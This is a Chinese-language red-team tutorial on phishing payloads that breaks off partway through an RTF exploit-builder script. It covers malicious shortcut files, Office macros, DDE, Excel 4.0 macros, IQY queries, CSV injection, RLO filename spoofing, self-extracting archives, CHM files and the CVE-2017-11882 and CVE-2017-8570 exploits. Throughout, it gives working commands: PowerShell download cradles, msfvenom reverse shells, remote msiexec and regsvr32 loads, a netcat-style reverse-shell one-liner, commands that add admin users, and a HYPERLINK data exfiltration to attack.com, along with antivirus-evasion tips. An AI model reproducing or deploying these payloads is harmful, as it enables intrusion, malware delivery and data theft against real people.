跳转至

钓鱼攻击

红蓝对抗越加普遍及重要,甚至成为了大型赛事,随之⽽来的是防守方大量部署安全设备,如FW、WAF、IDS、IPS等,想要从Web端深⼊到对⽅内⽹已经困难重重。但是,⼈永远是最⼤的弱点,在日渐增多的防护设备⾯前,钓⻥攻击(Phishing)已经成为对抗中⼀种必不可少且非常有效的攻击⼿法(近期也见到实际攻击中针对HR的邮件钓鱼攻击),一旦有人中招,攻击队就直接能进⼊目标办公⽹,这也是钓⻥的魅⼒之⼀。其实钓鱼攻击也一直是APT高级持续威胁的主要打点手段,网络上公开的APT攻击案例中超过80%都使用钓鱼攻击。

钓鱼手段

lnk

lnk文件,简单理解为快捷方式,创建方式如下:

image-20200824131339651

下图为calc.exe的快捷方式的属性信息,我们可以在“目标”栏写入自己的恶意命令,如powershell上线命令:

image-20200824131354846

实战时,需要将运行方式改为最小化,起始位置删掉

图标处理

而在实施钓鱼过程中,对于我们的calc.exe的快捷方式来说,一个大大的计算机ico图标,显然看起来不像一个好玩意,因此可以尝试在“属性”中去更改该文件的图标:

Text Only
%SystemRoot%\System32\SHELL32.dll
# 系统自带图标

image-20200824165016192

但是用系统自带的ico去做文件图标替换的话,有个弊端,即当替换的ico在目标机器上不存在时,就会出现类似空白ico图标:

image-20200831195541815

也可以更换为自定义的图标:

在线转换为ico文件网站:https://ico.nyaasu.top/

lnk文件16进制分析

选择一个系统图标,在lnk文件中的变化主要体现在:

ShellLinkHeader的LinkFlags结构体中的HasIconLocation标志位置为1;

img

IconIndex为使用的icon在目标中的下标;

img

最后是紧接在COMMAND_LINE_ARGUMENTS后的ICON_LOCATION字段,lnk使用的icon所在的文件,本例中是%systemroot%\system32\shell32.dll。

img

要想修改lnk指向的应用程序工作在指定目录,可以在WORKING_DIR字段进行修改,如果要去除该字段,可以设置sLinkInfo字段中的HasWorkingDir为0,并删除WORKING_DIR字段,则lnk启动的程序工作目录将在当前窗口。

img

Powershell加载远程文件上线

  • CS
Text Only
# 使用CS生成web投递:http://{IP}/{PORT}/a
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.40.129:8080/a'))"

当靶机点击lnk文件后上线

  • MSF
Bash
# 系统进程msiexec.exe是Windows Installer的一部分,利用此进程来加载我们shellcode还可以达到一定的规避作用。
# 使用MSF生成payload,并提供下载:
msfvenom -p windows/meterpreter/reverse_tcp lhost={IP} lport={PORT} -f msi > shell.txt
# 设置监听
use exploit/multi/handler
# 利用payload
C:\Windows\System32\msiexec.exe /q /i http://192.168.50.2:8080/shell.txt

当靶机点击lnk文件后上线

PDF上线

根据crazyman师傅所说,修改lnk的icon_location标志位,修改为相关后缀,系统即可⾃动联想到对应的打开⽅式:

image-20200824165127432

⽐如我的pdf默认是由edge浏览器打开,则在icon_location中设置为pdf后缀时,⽂件的ico也会自动显示为edge浏览器打开的图标, 这样可以达到**⾃适配**的效果:

image-20200824165059912

需要注意的是:修改时编码要选择unicode

当受害者中招打开我们的所谓的pdf,实则为恶意的快捷方式时,双击两下,什么反应都没有,可能会有一丝疑惑,因此可以当尝试用powershell、mshta等方式上线时,我们可以更改如cobaltstrike生成的代码,加上一段自动下载打开一份真的pdf,来达到逼真的效果。

  • CS制作HTA后门

本地文件托管

PowerShell
# 在HTA文件执行Payload前添加如下语句
Dim open_pdf
Set open_pdf = CreateObject("Wscript.Shell")
open_pdf.run "powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile('{URL}/{PDF_FILE}',$env:temp+'\{PDF_FILE}');Start-Process $env:temp'\{PDF_FILE}'", 0, true
# 注意:如果pdf文件名包含中文,需要url编码再写入

将icon_location设置为.\1.pdf

Text Only
%windir%\System32\mshta.exe {URL}/{PDF_FILE}

靶机点击lnk文件后上线并打开我们伪装的pdf文件

  • 还可以将lnk文件与真实的PDF文档捆绑,使其文件大小看起来更具有迷惑性:
Text Only
copy /b {lnk_FILE} + {PDF_FILE} {NEW_LNK}

下面的动图,展示了打开一个快捷方式钓鱼文件时,逼真的打开了真实的简历,然后在背后悄悄的上了线:

lnk_jianli

TXT上线

Text Only
cmd.exe /c (echo "hello" >C:\Users\Public\passwd.txt & start /b C:\Users\Public\passwd.txt) & (powershell.exe -nop -w hidden iwr -outf C:\Users\Public\nc.exe http://{URL}/nc.exe & C:\Users\Public\nc.exe ReverseTcp {LHOST} {LPORT} nc)
  • 上面这一串cmd命令的意思是把“hello"写入C:\Users\Public\password.txt,并打开这个文件,然后从外部服务器上下载nc.exe到C:\Users\Public目录下,并命名为nc.exe,最后执行"nc.exe ReverseTcp 192.168.50.2 2333 nc" 反弹shell到192.168.50.2上。
  • cmd /c :执行完命令后关闭命令窗口
  • 此处http://192.168.50.2:80/nc.exe实为Ladon.exe

新建一个指向%windir%\System32\cmd.exe的快捷方式,并更改其图标为%SystemRoot%\System32\SHELL32.dll中的一个

使用010 Editor修改Lnk文件

  1. 可以看到实际上COMMAND_LINE_ARGUMENTS的长度可以支持到16-bit大小(0xffff),修改成大于260的值。
  2. 然后在其后插入大于所增大字节数量(因为支持的是Unicode格式字符)的空白空间

img

重新加载Lnk文件,并重新在COMMAND_LINE_ARGUMENTS中写入Payload

Bash
/c (echo "hello" >C:\Users\Public\passwd.txt & start /b C:\Users\Public\passwd.txt) & (powershell.exe -nop -w hidden iwr -outf C:\Users\Public\nc.exe http://192.168.50.2:80/nc.exe & C:\Users\Public\nc.exe ReverseTcp 192.168.50.2 2333 nc)

也可以在COMMAND_LINE_ARGUMENTS字段范围中间加大量空格,最后末尾加上恶意命令,这样限于图形窗口中的260显示大小,可以一定程度上隐藏自身。

删除COMMAND_LINE_ARGUMENTS与ICON_LOCATION之间多余的空白空间,重新加载后可得以下内容

img

确认图标还是与之前的一样

在靶机上验证文件:双击执行文档,成功上线,并打开了文档

img

宏

Microsoft Word 在打开文件之前会执行文件数据验证。数据验证以数据结构识别的形式执行,符合 OfficeOpenXML 标准。如果在数据结构识别过程中出现任何错误,则不会打开正在分析的文件。

通常,包含宏的 Word 文件使用 .docm 扩展名。但是,可以通过更改文件扩展名来重命名文件,同时仍保留其宏执行功能。 例如,RTF 文件在设计上不支持宏,但重命名为 RTF 的 DOCM 文件将由 Microsoft Word 处理,并且能够执行宏。 相同的内部结构和机制适用于 Microsoft Office Suite 的所有软件(Excel、PowerPoint 等)。

You can use the following command to check which extensions are going to be executed by some Office programs:

Text Only
assoc | findstr /i "word excel powerp"

DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well.

Word设置

首先选择文件-选项-自定义功能区-开发工具

本地加载宏上线

  • MSF
Bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST={IP} LPORT={PORT} -f vba -o nouyan.vba

将代码复制到project下的项目中

另存为支持宏的word文档格式,当靶机点击启用宏后即可上线

  • CS

在word中可以植入宏来达到运行宏上线的目的,而cobaltstrike也正好自带了这种攻击方式:

image-20200824184448607

然后在word的视图功能中植入相关宏:

image-20200824194209000

靶机点击启用宏后上线CS

远程加载宏上线

但是此种办法有个弊端,就是宏代码是存在本地的,极易被杀软查杀。因此我们可以尝试使用远程加载模板的方式在进行宏加载。

Bash
# 首先制作恶意宏文件上传到VPS
{URL}/{OFFICE_FILE}

在准备一个正常的word文件

我们可以更改word中\word_rels\settings.xml.rels内容来加载远程模板

更改target部分为VPS恶意宏文件地址

CSS
http://{URL}/{FILE_NAME}

加载远程模板打开word会有类似如下提示:

image-20200825133023515

成功加载远程模板:

image-20200825133224128

在高版本word中,微软会自动拦截不受信任的远程宏加载,参考:已阻止有潜在危险的宏 - Microsoft 支持

并且,像cobaltstrike⽣成的宏代码,使⽤的是AutoOpen进⾏触发,这⾥可以尝试使⽤AutoClose,即关闭word时触发来达到⼀些杀软、沙箱的绕过:

image-20200825133248014

利⽤远程模板,因为不具备恶意宏代码,文件本身成功绕过了某杀软,并且cobaltstrike上线也毫无阻拦:

img

Office钓鱼

Office安全保护机制

受保护的视图

为了保护计算机不受office病毒侵害,微软设计了一个收保护视图,将所有可疑的office文件以只读方式打开,在该模式下多数编辑功能被禁用。文件呗以受保护视图打开的情况有如下几种

Text Only
文件是从 Internet 位置打开的 
文件是通过 Outlook 附件的方式接收的,并且计算机策略将发件人定义为不安全 
文件是从不安全的位置打开的
文件被文件块阻止
文件验证失败
文件是使用“在受保护的视图中打开”选项打开的 
文件是从其他人的 OneDrive 存储中打开的

CVE-2017-11882

CVE-2017-11882是微软公布的一个远程代码执行漏洞,漏洞是由模块EQNEDT32.EXE公式编辑器引起,该模块在Office的安装过程中被默认安装,该模块以OLE技术(Object Linking and Embedding,对象链接与嵌入)将公式嵌入在Office文档内。漏洞产生原因是公式编辑器EQNEDT32.EXE(路径C:\Program Files\Common Files\microsoft shared\EQUATION)读入包含MathType的OLE数据,在拷贝公式字体名称时没有对名称长度进行校验,使得攻击者可以通过刻意构造的数据内容覆盖栈上的函数返回地址,造成栈缓冲区溢出,劫持程序执行流程,执行自己的恶意代码,又因为插入和编辑数学公式时,EQNEDT32.EXE并不会被作为Office进程的子进程创建,而是以单独的进程形式存在。所以Office进程的保护机制也无法保护EQNEDT32.EXE这个进程被利用。从漏洞利用效果来看,它可以通杀Office 2003到2016的所有版本。

POC验证漏洞

环境搭建好了,我们就可以使用POC来简单验证一下漏洞,打开exploit.rtf可发现没有任何提示直接弹出了计算器,说明验证成功存在漏洞。 弹计算器漏洞POC:https://github.com/Ridter/CVE-2017-11882

img

使用MSF利用漏洞

python脚本下载链接:https://github.com/Ridter/CVE-2017-11882

img

msf组件下载:https://github.com/0x09AL/CVE-2017-11882-metasploit

img把上面下载的cve_2017_11882.rb文件复制到/usr/share/metasploit-framework/modules/exploits/windows/smb/目录下

img把下载的cve_2017_11882.rtf放到/usr/share/metasploit-framework/data/exploits/

img重新加载模块

Text Only
reload_all

img使用命令search cve_2017_11882 查找对应的模块,然后use exploit/windows/smb/cve_2017_11882设置payload为反弹tcp,set URIPATH test设置URI的路径(注意这里设置的路径test,下面使用python脚本生成doc的时候也要加上这个路径)

img

img另外打开一个终端,把Command109b_CVE-2017-11882.py复制到kai liunx桌面,cd到桌面,运行命令python Command109b_CVE-2017-11882.py -c "mshta http://192.168.62.129:8080/test" -o test2.doc 生成恶意doc文件

img复制文件到目标机打开

img返回攻击机kai liunx,看到被攻击机器已经上线

img然后就可以进行我们的传统手艺了~~~ img

OLE+Lnk

  • 恶意Lnk制作参考上面的Lnk钓鱼

然后打开word文件,插入对象,选择package,为了更加逼真勾选显示为图标,然后可以更改图标,我们在更改图标处选择一个迷惑性比较大的图标,可以进一步更改题注,更加逼真

然后进入创建软件包界面,选择我们刚刚创建的lnk文件,写好卷标名,然后就把软件包插入到word界面了,只要用户点击该软件包并选择执行,则会执行我们在lnk中定义的代码

而且值得一提的是,如果用上述方法把lnk文件放入publisher文件,则在网络中打开该文件时不会触发受保护视图。(可能是我本地环境有点错?我觉得这个有点离谱

Word DDE

在word文件里,输入 ctrl+F9,进入到域代码编辑。我们可以键入以下代码使文件在被打开时执行系统命令(word2019复现未成功,word2016成功,似乎是word版本问题

这个蛮实用的,目前众多word是默认禁用宏的,dde只需要用户点击两个按钮即可执行,实用性比宏好

Text Only
DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"

随后在打开该文件时会出现两个对话框,全点是就会执行以上命令了

成功弹出计算器

这里用ps远程下载马

img

PowerShell
DDEAUTO"C:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://{URL}/{FILE_NAME}'); # ""Microsoft Document Security Add-On"

XLM / Macro 4.0(Excel钓鱼)

  • 制作msi恶意文件

1608818176_5fe49e009fffd585db421.png!small

Bash
msfvenom -p windows/meterpreter/reverse_tcp lhost={IP} lport={PORT} -f msi -o dayu.msi

利用msfvenom生成msi恶意后门文件,这里还有很多方法可以生成msi,免杀也可以在这里开始进行!

  • 建立监听

1608818317_5fe49e8d65ab087d0b1d9.png!small?1608818317945

Bash
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost {IP}
set lport {PORT}
exploit -j #持续监听

这里创建好监听后,等待被钓鱼到的客户进行反弹shell即可!

  • 模拟Vps开启服务

1608818419_5fe49ef3a489ca463a9ce.png!small?1608818420052

Bash
python3 -m http.server {PORT}

这里就假设kali是公网服务器,开启了apache后,将msi恶意文件上传到服务器....接下来就开始制作分离免杀的Excel恶意宏后门文件

  • 制作Excel宏

1608818434_5fe49f0227ec516e599ad.png!small?1608818434639

首先在windwos环境利用excle2016创建一个.xlsx的文件!可看时间也是最新操作演示的!

1608818744_5fe4a0382559bcf5ec0b9.png!small?1608818744438

创建好后双击打开,并在左下角邮件点击,然后点击插入!

1608818862_5fe4a0ae16c6e14f74fb6.png!small?1608818862532

选择MS Excel 4.0宏表

1608818893_5fe4a0cdb84b60565ac70.png!small?1608818894148

然后在左上角第一个格子输入:

Text Only
=EXEC("msiexec /q /i[http://](http://192.168.0.180/hack.msi)192.168.2.153/dayu.msi") #调用执行服务器上的dayu.msi文件

第二个格子输入:

Text Only
=HALT()    标识Excel 4.0宏结束,类似C语言return指令

1608819039_5fe4a15f84a6b13decf24.png!small?1608819039989

然后将左上角的A1模式手动输入:Auto Open,Enter回车即可!

1608819096_5fe4a1980e0053b18a4b7.png!small?1608819096445

为了避免对方打开能看到宏文件,以及增强隐蔽性,将宏进行隐藏!

1608819131_5fe4a1bb16950945db464.png!small?1608819131534

Ctrl+S保存后,出现该提示,按照该提示进行点击否!

1608819155_5fe4a1d30bf36fbc0c56c.png!small?1608819155714

然后选择创建名称为:.xlsm,并保存!

1608819196_5fe4a1fc6d51d4609c973.png!small?1608819196723

可看到桌面上存在了两个文件...一个是纯文本,一个是xlsm恶意文件!

这里只需要修改下dayu-hong文件名,例如工资表等,对方很容易打开查看!

  • 执行恶意宏并控制对方电脑

1608819246_5fe4a22e19bdc43e4775e.png!small?1608819246524

可看到双击恶意宏文件后,提示宏被禁用了,需要启用内容!

1608819382_5fe4a2b602e22bfb5599d.png!small?1608819383979

可看到被攻击方点击了启用宏内容后,黑客kali系统上MSF获得了反弹shell外壳!!

1608819447_5fe4a2f7b95286046c42e.png!small?1608819449895

Excel IYQ

可以将IYQ简单的理解成内置在excel中的一种特殊‘web浏览器’(不能加载脚本),通过IQY【即web查询】语句,可以直接将各类web上的列表数据轻松引入到当前的excel中,而正是因为这样,从而给了我们利用excel制作钓鱼邮件的机会,假如你要引入的web数据是入侵者事先准备好的一段payload iqy恶意代码,那结果就不言而喻了

img

img

img

img

  • 接下来利用IYQ打开计算机来看看效果

在我们自己的服务器的网站目录下放一个payload.html文件,内容是IYQ代码

Bash
# IYQ代码
=cmd|'/c calc.exe '!A0

img

img

接下来就是按照之前的方法,来拉取我们自己服务器上的payload文件

img

比之前多了一步确认操作

img

都选择确认过后,计算器程序被正常执行弹出

img

  • 借助IYQ实现meterpreter上线

这一步需要额外用到的工具如下:

**nishang:**https://github.com/samratashok/nishang/releases

  • kali攻击机下准备好msf的payload
Bash
use exploit/multi/script/web_delivery
set target 3
set payload windows/meterpreter/reverse_tcp_rc4_dns
set lhost {LHOST}
set lport {LPORT}
set rc4password secquan.org
exploit -j

img

  • 直接用nishang中提供好的Out-WebQuery脚本来生成iqy文件

(iqy文件本身的内容很简单,只有一个包含恶意payload的url:http://192.168.80.131/meter.html ,关键也就在这个 html,我们需要把 html 的内容换成加载我们上面准备好的 meterpreter payload 的 iqy 语句 :regsvr32 /s /n /u /i:http://192.168.80.131:8080/ZXMgstpzpYQCJ.sct scrobj.dll)

  • 在本次用来制作钓鱼文件的系统windows 7下执行如下命令
Text Only
powershell-execbypass-Command"& {Import-Module ".\Out-WebQuery.ps1";Out-WebQuery -URL http://{URL}/msf.html}"

命令成功执行过后,会新生成一个iqy文件

img

  • 打开我们的web服务器,在根目录下创建一个meter.html文件,并在其中写入msf生成的payload构造的iqy代码
Bash
root@kali:~# /etc/init.d/apache2 start
[ ok ] Starting apache2 (via systemctl): apache2.service.
root@kali:~# cd /var/www/html/
root@kali:/var/www/html# vim meter.html
root@kali:/var/www/html# cat meter.html 
=cmd|'/c regsvr32 /s /n /u /i:http://192.168.80.131:8080/ZXMgstpzpYQCJ.sct scrobj.dll '!A0

#或者开启临时WEB服务
python3 -m http.server {PORT}
  • 接下来就是想办法将之前生成的iqy文件发送给目标用户并执行

一旦他正常双击打开[默认会调用 excel 来打开],便会弹出如下的安全警告框,至于怎么让他去点' enable '就需要用心好好琢磨下了

img

因为我们前面的 iqy 是用 cmd 执行的,所以这里它会问你是否要启动 cmd.exe,只要目标点击'是',我们的 meterpreter 即会正常上线,具体如下

imgimg

回到攻击机kali,发现meterpreter已成功上线

img

  • 借助IQY窃取目标用户密码

参考文章:https://cloud.tencent.com/developer/article/1917641

关于实战利用中的一些注意事项

  • 实战中用 Out-WebQuery.ps1 脚本直接去生成 iqy,还有些不够灵活,如果能在 iqy 中先添加一些正常数据,看上去肯定会更逼真,自己多次实测暂未成功,待后续找到完美的解决办法之后,再更新上来
  • 部分 AV会侦测到此类的攻击,请务必做好相关免杀

PPSX钓鱼

运行程序比如可以选用cs powershell 的代码。选择ppsx进行保存

图片

然后弹出的窗口处

图片

Text Only
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/a'))"

powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http:'+[char] 0x2F+[char] 0x2F+'cccn.nl'+[char] 0x2F+'c.php',\"$env:temp\ii.jse\"); Invoke-Item \"$env:temp\ii.jse\""

然后将格式保存为ppsx格式保存即可 执行即可上线

Excel静态密码静态免杀

Text Only
Default password:VelvetSweatshop

Excel版本为2021,上图设置了默认密码

能直接打开文件,不需要输入密码

原理如下:

参考文章:

https://learn.microsoft.com/zh-cn/deployoffice/mac/set-preference-default-password-excel

https://www.freebuf.com/articles/network/343312.html

CSV注入

csv注入是一种将包含恶意命令的excel公式插入到可以导出csv或xls等格式的文本中,当在excel中打开csv文件时,文件会转换为excel格式并提供excel公式的执行功能,会造成命令执行问题。

注入原理

excel的一个特性:单元格中的第一个字符是“+、-、@、=”这样的符号时,他会以一个表达式的形式被处理

img

img

然而“=”的作用远不止如此,其还可以用来执行代码。不过在这之前,我们需要先了解什么是DDE。

动态数据交换(DDE),是Windows下进程间通信协议,支持Microsoft Excel,LibreOffice和Apache OpenOffice。Excel、Word、Rtf、Outlook都可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含DDE公式的CSV文件,那么在打开该文件时,Excel就会尝试执行外部应用。

Text Only
=1+cmd|'/C calc'!A0

img

img

利用方式

OS命令执行

OS命令执行是最严重的危害,像上面讲的,能执行绝大部分的命令,如

  • 开启任意应用程序

  • 反弹shell

  • 添加用户

Text Only
=cmd|'/C net user test 123456 /add'!A0+<br>=cmd|'/C net user test 123456 /add && net localgroup administrators test /add'!A0
  • 修改注册表
Text Only
=cmd|'/C reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v calc /t REG_SZ /d c:\windows\system32\calc.exe /f'!A0

反弹shell这里我们需要利用Metasploit生成payload

Text Only
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.174.129 
msf exploit(windows/misc/hta_server) > exploit

img

然后将再EXCEL中插入恶意载荷

Text Only
+1+cmd|'/c mshta.exe http://192.168.192.135:8080/770MqXy.hta
'!A0

cobalt strike上线

Text Only
=1+cmd|'/C "powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\"http://100.1.1.131:8051/b\"))"'!A0
信息泄露

利用HyperLink方法,通过诱骗用户点击,将敏感信息以参数形式发送至目标网站

Text Only
=HYPERLINK("https://attack.com?data="&A1,"click me")

img

网络钓鱼

既然能将用户数据提交至网站,同理,也能直接访问攻击者注入的钓鱼网站。

Text Only
=HYPERLINK("https://attack.com?data="&A1,"click me")

也能通过控制浏览器访问钓鱼网站

Text Only
=1+cmd|'/C   "C:\Users\ASUS\AppData\Local\Google\Chrome\Application\chrome.exe" https://attack.com '!A0

img

挖掘思路

  1. 查找、留意系统中是否有到导出为csv或xls格式的利用点。一般存在于信息统计,或者日志导出等地方。
  2. 确定导出的内容可控
  3. 可以在界面可直接进行编辑/新增
  4. 通过数据篡改/HPP/追踪数据源等方式看是否可以控制输入
  5. 如果存在注入点且有过滤,尝试绕过,最后进行OS执行等深入利用。

绕过技巧

  • 在等于号被过滤时,可以通过运算符+-的方式绕过;
Text Only
-1+1+cmd |’ /C calc’ !A0
  • 参数处输入以下 Payload,%0A被解析,从而后面的数据跳转到下一行:
Text Only
%0A-1+1+cmd|' /C calc'!A0
  • 导出文件为 csv 时,若系统在等号=前加了引号’过滤,则可以使用分号绕过,分号;可分离前后两部分内容使其分别执行:
Text Only
;-3+3+cmd|' /C calc'!D2
  • 其他常用 Payload:
Text Only
@SUM(cmd|'/c calc'!A0)
=HYPERLINK("https://attact.com")

防御思路

  1. 单元格不以特殊字符开头:+,-,@,=
  2. 禁止导出CSV,XLS格式文件
  3. 黑名单过滤=(-)cmd或=(-)HYPERLINK或=(-)concat等
  4. 还有,在大部分情况下都会弹出Microsoft Office安全提示,只要不点“是”就行了,所以对于平时常规文件的传递中,要尽量为员工做好相关的安全意识培训来做相关的防范。

Important

在较新版本的office中,已经默认禁用了指向外部链接的DDE,需要手动启用

对于新版本 Office 而言需要在 文件-选项-信任中心-信任中心设置-外部内容-动态数据交换的安全设置 中启用 动态数据交换服务器查找 和 动态数据交换服务器启动

RLO

“RTLO”字符全名为“RIGHT-TO-LEFTOVERRIDE”,是一个不可显示的控制类字符,其本质是unicode 字符。“RTLO”字符可使电脑将任意语言的文字内容按倒序排列,最初是用来支持一些从右往左写的语言的文字,比如希伯来语。由于它可以重新排列字符的特性,会被不法分子利用从而达到欺骗目标,使得用户运行某些具有危害性的可执行文件。

我们可以在文件名中插入此类unicode字符,来达到文件名反转的效果,如下图就是一个插入Rlo字符后的文件名,看后缀是个txt:

image-20200825201500637

但是看文件详情又是个scr文件:

image-20200825201513350

下图展示了打开一个看似是png图片后缀的文件,却执行了notepad:

rlo

Tip

不建议使用RLO,几乎百分百会被杀软杀

自解压

rar压缩文件,可以把文件进行压缩,然后运行后进行自解压的操作:

image-20200826121053565

Text Only
C:\Windows\Temp

按上图所示设置好,需要注意的是,操作完后的文件为exe格式,这可能会引起目标的警觉

如果我们把一个恶意的文件和一个图片组合在一起,打包运行后,程序进行自解压,看到的是一张图片,但是后面木马程序已经悄悄运行了,这种效果如何?看下面的动图展示:

rar_self_extract

自解压+RLO

上面介绍了自解压和RLO,那如果两者组合在一起呢?

我们把pe文件反转成png后缀、修改pe文件的ico图标,最后实施自解压操作。即看起来是个图片,后缀也是个图片,打开也是个图片,效果如何呢?

rar_self_extract_and_rlo

CHM电子书钓鱼

CHM是已编译的帮助文件,它是微软新一代的帮助文件格式,目前也是比较常见的一种文件了。

CHM的原理是支持Javascript、VBscript、ActiveX、JavaApplet、Flash、常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,并可以通过URL 与Internet联系在一起,那么这里就可以利用这些支持的形式,在里面注入恶意代码,在恶意代码层面上在做个免杀。

.Chm文件格式是HTML文件格式的扩展,所以接下来演示的是如何利用恶意代码注入html文本中,并创建chm的说明文件,通过上传用户下载后执行,在攻击机上直接控制对方电脑。

  • 环境安装和介绍

项目地址:https://github.com/Ridter/MyJSRat

这个工具是用python2编写,脚本修改分为两个模式,交互模式以及执行命令模式。大多数情况使用交互模式,开始!

1608819770_5fe4a43a61e8bb712d431.png!small?1608819770900

  • 生成恶意代码

1608819875_5fe4a4a3e0e8036fb954c.png!small?1608819876421

Bash
python MyJSRat.py -i {LHOST} -p {LPORT}
# -i  指定IP地址
# -p  指定开放的端口

可看到获得了恶意代码地址:http://192.168.2.153:8888/wtf

1608819934_5fe4a4decba0fbc77ec48.png!small?1608819935373

访问后即可看到恶意代码,等会就利用该恶意代码使用rundll32.exe进行反弹shell!!

  • 制作CHM的恶意html文件

1608820038_5fe4a546306f6ad8a859e.png!small?1608820039341

首先这里需要一段Html的payload,主要是对应chm格式导出的,这里可以在后面介绍的工具中查看到,或者在google都能找到,我这里也把我这段html提供给大家:

HTML
<!DOCTYPE html><html><head><title>说明</title><head></head><body> <br>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>

<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',{PAYLOAD}'>
<PARAM name="Item2" value="273,1,1">

</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

这里在本地创建一个dayu-chm的文件夹,在文件夹内新建一个.txt文本,然后将以上代码复制进入!可看到中文提示,放入payload在该处即可!

1608820206_5fe4a5eef0f6127607c02.png!small?1608820208407

然后由于需要在windwos环境中执行该文件,在html编码中,需要在exe和javascript添加一个英文格式的逗号即可!!否者无法执行!!

1608820347_5fe4a67bde72ab2097c5d.png!small?1608820349621

将该文本另存为,编码格式选择:ANSI,文件名:dayu.html即可!

  • 部署Easy CHM工具

Easy CHM是一款CHM电子书或CHM帮助文件的制作工具,只需三步即可完成CHM的制作,用户只需指定相应目录,该软件将会导入该文件夹内所有文件,然后用户就可以设置CHM编译选项、开始制作。EasyCHM可用于个人或者单位制作高压缩比的带有全文检索及高亮显示搜索结果的网页集锦、CHM帮助文件、专业的产品说明、公司介绍、CHM电子书等等。

百度很多破解版,提供个下载地址:

https://www.jb51.net/softs/619386.html

简单了解后,继续进行演示!

1608820562_5fe4a75216aedb3605ab8.png!small?1608820563412

安装完成后,Easy CHM双击该文件,打开选择新建文件,选择之前创建好的文件夹dayu-chm,文件夹中存放着恶意的1.html代码!

1608820925_5fe4a8bdbe2b400046bdd.png!small?1608820926293

点击OK后,注意的是,本文本无法修改!

说明对应的也就是文件左边的说明,右边还存在恶意回弹链接!!

1608820990_5fe4a8fe9bdce3e5b227d.png!small?1608820991974

查看代码无误后(未出现乱码编码),点击编译,并将最后一行修改下名称为:说明

这里更好的诱骗对方进行打开文件执行查看!!!Settings即可!!

1608821069_5fe4a94dafb6e0d69ebae.png!small?1608821070822

可看到由于这也是分离免杀的效果,杀毒现在都是静态查杀,所以火绒都无法查看到这是病毒文件!

  • 成功控制

1608821130_5fe4a98a970d5e26055f8.png!small?1608821135022

这里可以将说明.chm文件打包到某热度较高的破解软件中进行打包,很容易让人点开说明进行了解,进而控制对方电脑的!!

RTF钓鱼

RTF是富文本格式(Rich Text Format)又称多文本格式, 是由微软公司开发的跨平台文档格式

大多数的文字处理软件都能读取和保存RTF文档

RTF文档支持 template 参数, 可以指定目的模板路径来加载模板

image-20240611163233113

新建一个rtf文档,随便输入些内容,随后用文本编辑器打开

Text Only
{\*\template http://127.0.0.1:8000/pip_yproject.txt}

使用word打开rtf后会显示文档模板错误,随后向目标地址发起请求

*\template 字段参数值可以为Unicode,可以更好隐藏自身,一键编码脚本如下

Python
import sys

def trans(url):
    return ''.join(['\\u'+str(-(0xffff+1-ord(c)))+'?' for c in url])

def help():
    print("Usage: python3 rtf-unicode.py http://127.0.0.1/file")

def main():
    if len(sys.argv) != 2:
        help()
        exit(1)
    else:
        print('{\*\\template',trans(sys.argv[1])+"}")

if __name__ == '__main__':
    main()
Text Only
{\*\template \u-65432?\u-65420?\u-65420?\u-65424?\u-65478?\u-65489?\u-65489?\u-65487?\u-65486?\u-65481?\u-65490?\u-65488?\u-65490?\u-65488?\u-65490?\u-65487?\u-65478?\u-65480?\u-65488?\u-65488?\u-65488?\u-65489?\u-65424?\u-65431?\u-65424?\u-65441?\u-65415?\u-65424?\u-65422?\u-65425?\u-65430?\u-65435?\u-65437?\u-65420?\u-65490?\u-65420?\u-65416?\u-65420?}

将unicode编码后的payload插入rtf文件,随后将rtf文件开头的uc2或uc改为uc1

Note

可以配合msf和cobalt strike进行上线

CVE-2017-8570

弹计算器的 Payload rtf-cve-2017-8570-calc.sct

Text Only
<?XML version="1.0"?>
<scriptlet>

<registration
    description="fjzmpcjvqp"
    progid="fjzmpcjvqp"
    version="1.00"
    classid="{204774CF-D251-4F02-855B-2BE70585184B}"
    remotable="true"
    >
</registration>

<script language="JScript">
<![CDATA[

        var r = new ActiveXObject("WScript.Shell").Run("calc.exe");


]]>
</script>

</scriptlet>

使用如下 Python2 脚本构造目标 RTF 文档

Bash
python2 exp.py  -s rtf-cve-2017-8570-calc.sct -o RTF-CVE-2017-8570-calc.rtf
Python
# exp.py
import argparse
import os
import struct
import random
import string

class Package(object):
    """
    Packager spec based on:
    https://phishme.com/rtf-malware-delivery/

    Dropping method by Haifei Li: 
    https://securingtomorrow.mcafee.com/mcafee-labs/dropping-files-temp-folder-raises-security-concerns/

    Found being used itw by @MalwareParty:
    https://twitter.com/MalwareParty/status/943861021260861440
    """
    def __init__(self, filename):
        self.filename = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(15)) + '.sct'
        self.fakepath = 'C:\\fakepath\\{}'.format(self.filename)

        self.orgpath = self.fakepath
        self.datapath = self.fakepath

        with open(filename,'rb') as f:
            self.data = f.read()

        self.OBJ_HEAD = r"{\object\objemb\objw1\objh1{\*\objclass Package}{\*\objdata "
        self.OBJ_TAIL = r"0105000000000000}}"

    def get_object_header(self):
        OLEVersion = '01050000'
        FormatID = '02000000'
        ClassName = 'Package'
        szClassName = struct.pack("<I", len(ClassName) + 1).encode('hex')
        szPackageData = struct.pack("<I", len(self.get_package_data())/2).encode('hex')

        return ''.join([
            OLEVersion,
            FormatID,
            szClassName,
            ClassName.encode('hex') + '00',
